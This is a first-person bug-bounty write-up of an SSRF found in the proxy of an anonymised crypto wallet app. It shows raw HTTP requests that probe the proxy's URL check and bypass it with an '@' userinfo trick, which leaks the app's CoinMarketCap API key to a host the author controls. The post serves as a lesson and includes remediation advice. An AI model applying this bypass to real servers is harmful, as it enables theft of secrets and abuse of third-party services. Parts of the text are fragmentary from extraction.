A server-side request forgery (SSRF) is a type of vulnerability that consists in tricking a server into sending network requests to unintended hosts. In some cases (e.g. Scott Helme’s Security Headers tool), allowing users to trigger HTTP requests from some backend to arbitrary hosts is a feature. In many other cases, though, it is a serious security bug that may enable attackers to wreak havok on the organisation behind the vulnerable server.
If you research SSRFs on the Web, you’ll likely come across write-ups of cosmic proportions, detailing how an SSRF enabled some security researchers to
- scan some internal network,
- coax a server-side PDF generator into including sensitive files, or
- disclose very sensitive AWS cloud metadata,
and how those researchers earned sizable bounties as a result. SSRF hunting can indeed prove very lucrative: for instance, reports of SSRFs to Verizon’s bug-bounty programme have famously yielded multiple 5-figure dollar rewards to veteran hacker Thomas DeVoss (a.k.a. dawgyg).
Although I’m standing on the shoulders of giants, this post cannot lay claim to such greatness. You will not acquire mind-blowing new tricks within these lines, nor will you learn how to masterfully chain four different vulnerabilities to achieve Critical severity. This post is a story of modest beginnings, the story of the first SSRF I found in the wild.
My ambition in writing it is simple: retrace my steps and document my reasoning at the time, if only for my own sake; capture my excitement during the hunt and the thrill of the kill; and, perhaps, arouse newcomers’ interest in this fascinating class of vulnerability that is server-side request forgery. And who knows? They might even make a few bucks out it!
Because I’m not at liberty to disclose the name of the target, I’ve had to anonymise quite a few elements in this post. Here is what I can share with you: the target was a relatively low-profile altcoin outfit that runs a public bug-bounty programme, albeit off the main platforms; after registering on their Web app, users can create wallets for various cryptocurrencies.
It all began with an intriguing proxy ¶
To facilitate wallet operations, the app provided users with current exchange rates, which were periodically refreshed in the UI. I can’t claim I was particularly interested in how the app was getting those exchange rates, but something caught my attention. As always when on the hunt for bugs, I was forcing all my Web traffic through Burp. I casually inspected my Burp history, and noticed requests of this form:
The presence of a URL in the path (as opposed to inside the query string) of another URL struck me as awkward, and seemed like a good place for bugs to lurk.
Because I hadn’t heard of CoinMarketCap before then, I had to familiarise myself with the service. It describes itself as
the world’s most-referenced price-tracking website for cryptoassets in the rapidly growing cryptocurrency space.
I consulted their API documentation
where I found confirmation that my target was getting its exchange rates
as I quickly chanced upon the section
describing how to consume their
Moreover, the frontend was evidently delegating CoinMarketCap API calls
“Why the need for a proxy, though?”, I wondered.
The proxy’s role becomes clear ¶
Perusal of the CoinMarketCap API documentation revealed the answer to my question:
Ok, that made sense to me. Because consuming the CoinMarketCap API requires a paid account and an API key that is meant to remain secret, the target could not simply have queried the API from their frontend: doing so would have indeed forced the target to disclose their API key in their client’s source code:
---------- API key ------------------- | |----------->| | | | (exposed!) | pro-api | | client | | .coinmarketcap | | | | .com | | |<-----------| | ---------- -------------------
Anybody with the knowledge of that API key could then have taken advantage
of the target’s paid plan on CoinMarketCap.
proxy.example.org was obviously playing the role of the “backend service”
mentioned in the CoinMarketCap API documentation,
and at least one of its responsibilities was now clear to me:
querying the CoinMarketCap API on behalf of the user agent
but keeping the target’s CoinMarketCap API key secret.
---------- --------------------- API key ------------------- | |--------->| |---------->| | | | | | | pro-api | | client | | proxy.example.org | | .coinmarketcap | | | | | | .com | | |<---------| |<----------| | ---------- --------------------- -------------------
In fact, two further observations indicated that this was the proxy’s whole reason for being:
- My Burp history didn’t contain any requests to host
proxy.example.orgother than those specific to CoinMarketCap.
- Attempts to trick
proxy.example.orginto sending requests to hosts like
google.cominvariably resulted in a disheartening
400 Bad Requestresponse:
GET /https://google.com HTTP/1.1 Host: proxy.example.org --snip-- HTTP/1.1 400 Bad Request --snip--
The proxy endpoint had evidently been designed to only ever send requests to
“Perhaps I can find a chink in the armour, though”, I speculated.
A surprisingly easy bypass ¶
If I managed to forge a request to a host under my control, I would likely be able to disclose sensitive information, including the target’s CoinMarketCap API key:
---------- --------------------- ------------------- | | | | | | | | malicious | |\A | pro-api | | client |---------->| proxy.example.org | \P | .coinmarketcap | | | request | | \I | .com | | | | | \ | | ---------- --------------------- \k ------------------- \e \y ------------------ `->| | | attacker-site | | .com | | | ------------------
I ran a few tests, and I soon noticed an interesting behaviour:
whenever I submitted a URL that started with
the proxy would respond with a
502 Bad Gateway,
as opposed to a
200 OK or a
400 Bad Request:
GET /https://pro-api.coinmarketcap.computer HTTP/1.1 Host: proxy.example.org --snip-- HTTP/1.1 502 Bad Gateway --snip--
I interpreted this observable difference in behaviour
as a hint that the proxy was only requiring the user-supplied URL
to have the expected prefix:
it if did, the proxy would oblige and attempt to send a request to
the specified host (
pro-api.coinmarketcap.computer, in my earlier example).
To corroborate my intuition, I decided to run another test,
this time specifying the expected host but substituting
as the scheme:
GET /http://pro-api.coinmarketcap.com HTTP/1.1 Host: proxy.example.org --snip-- HTTP/1.1 400 Bad Request --snip--
the often overlooked ability to use an
@to create a misleading URL is frequently useful.
To understand why, you should know that, according to RFC 3986,
the presence of a
@ character in the authority part of a URL has a very
it marks the end of the (optional)
userinfo part and the beginning of the
@attacker-site.com to the host part of a URL,
you can often coax an incautious server into sending a request to
attacker-site.com rather than to the originally intended host.
This trick has worked for me time and time again,
and this occasion was no exception.
By issuing the following request,
I was again able to obtain a
502 Bad Gateway response from the proxy.
GET /https://firstname.lastname@example.org HTTP/1.1 Host: proxy.example.org --snip-- HTTP/1.1 502 Bad Gateway --snip--
(Note: I could have simply leveraged Burp Collaborator here, but I wasn’t aware of that feature at the time.)
Had I managed to trick the proxy into sending a request to my
To check this, I deployed a minimal server to
I repeated that last attack and immediately inspected my server’s log files.
Waiting for me there was a new log entry about a recent HTTP request.
“Success!”, I exulted.
Through the proxy and what I found there ¶
The log entry in question contained some information of secondary importance. In particular, I learned that my forged request contained the following header,
User-Agent: node-fetch/1.0 (+https://github.com/bitinn/node-fetch)
which revealed that the proxy was written in Node.js and used NPM module node-fetch to consume the CoinMarketCap API. Such information about server-side technology can prove useful to an attacker. (Note: according to my research, the presence of “1.0” in the User-Agent header is not a reliable indicator that version 1.0 of node-fetch is being used by the server.)
Of course, the target’s CoinMarketCap API key was the real prize;
and there it was, in a header called
I fired up
curl and sent a
GET request to
using the API key I had just stolen from the target. The response revealed that the target was on CoinMarketCap’s Startup plan, which imposes some rate limiting and affords a modest amount of daily credit to subscribers. A back-of-the-envelope calculation told me that an attacker could exhaust the target’s daily credit in fewer than 12 minutes, thereby depriving the target’s ability to get up-to-date exchange rates for the remainder of the day.
Such an attack, if launched every day immediately after CoinMarketCap reset credit for the day, would seriously hamper usability of the target’s Web app’s: it could lead users to place trades on the basis of exchange rates stale by up to almost 24 hours; this is no laughing matter, especially when you consider how volatile most cryptocurrencies can be.
I reported my findings to the target, and urged them to revoke their CoinMarketCap API key after they fixed the URL validation of their proxy.
I got a prompt and grateful reply from the target, which eventually rewarded me in cryptocurrency tokens worth a total of about $1,000 at the time. I haven’t done much with those tokens; they’re still sitting in my crypto wallet. Fortunately, the token’s exchange rate against the Euro has since more than doubled, which isn’t bad at all!
If you’re a developer, don’t treat URL parsing lightly: it is often critical to security but fraught with peril. Use a proven URL-parsing library instead of relying on run-of-the-mill or custom string-processing functions.
If you’re a budding hacker, I hope this post spurred your interest in server-side request forgery. If you want to dig deeper on the interplay between shoddy URL parsing and SSRF, you will enjoy the talk that Orange Tsai gave at DEF CON 25. Check it out!